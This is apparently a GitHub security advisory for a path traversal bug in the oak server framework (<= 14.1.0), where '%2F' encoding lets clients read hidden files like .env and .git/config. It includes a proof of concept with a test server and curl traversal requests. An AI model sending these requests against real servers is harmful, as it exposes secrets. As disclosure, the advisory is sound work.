GHSA-qm92-93fv-vh7m Path traversal in oak allows transfer of hidden files within the served root directory

• npm @oakserver/oak: <= 14.1.0 (no fix yet)

Summary By default `oak` does not allow transferring of hidden files with `Context.send` API. However, this can be bypassed by encoding `/` as its URL encoded form `%2F`. Details 1.) Oak uses decodeComponent which seems to be unexpected. This is also the reason why it is not possible to access a file that contains URL encoded characters unless the client URL encodes it first. 2.) The function isHidden is flawed since it only checks if the first subpath is hidden, allowing secrets to be read from `subdir/.env`. PoC ```ts // server.ts import { Application } from "jsr:@oak/[email protected]"; const app = new Application(); app.use(async (context, next) => { try { await context.send({ root: './root', hidden: false, // default }); } catch { await next(); } }); await app.listen({ port: 8000 }); ``` In terminal: ```bash setup root directory mkdir root/.git echo SECRET_KEY=oops > root/.env echo oops > root/.git/config start server deno run -A server.ts in another terminal curl -D- http://127.0.0.1:8000/poc%2f../.env curl -D- http://127.0.0.1:8000/poc%2f../.git/config ``` Impact For an attacker this has potential to read sensitive user data or to gain access to server secrets.